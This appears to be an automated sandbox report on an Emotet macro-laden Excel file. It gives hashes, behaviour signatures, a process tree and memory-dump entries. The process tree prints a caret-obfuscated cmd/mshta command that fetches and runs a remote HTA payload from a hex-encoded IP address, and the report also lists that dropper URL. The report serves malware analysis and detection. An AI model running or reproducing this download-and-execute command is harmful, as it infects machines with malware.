Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    140s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 02:02

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General

  • Target

    45ae174e0c5d865a0e1a2f1831df896eb8e6edd60b0505864baa9a2db811a536.xlsm

  • Size

    115KB

  • MD5

    ade959d1528828eccc6468dd5c44b211

  • SHA1

    9d6835a997ddd704e83e1d8679e31deccfb4c546

  • SHA256

    45ae174e0c5d865a0e1a2f1831df896eb8e6edd60b0505864baa9a2db811a536

  • SHA512

    540bc455cceba39cdcb94837f5c532eeda8a118d21406feb6c4b2c72c5b9b3d0d14b8cabc360371ee4478734b76b5f129cdebc3947e93fcab621fc68896db89e

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\45ae174e0c5d865a0e1a2f1831df896eb8e6edd60b0505864baa9a2db811a536.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3472
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2120
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:4064
        • C:\Windows\system32\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          PID:1828

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/3472-115-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3472-116-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3472-117-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3472-118-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3472-119-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3472-128-0x00007FF9863F0000-0x00007FF986400000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3472-129-0x00007FF9863F0000-0x00007FF986400000-memory.dmp

      Filesize

      64KB

      Download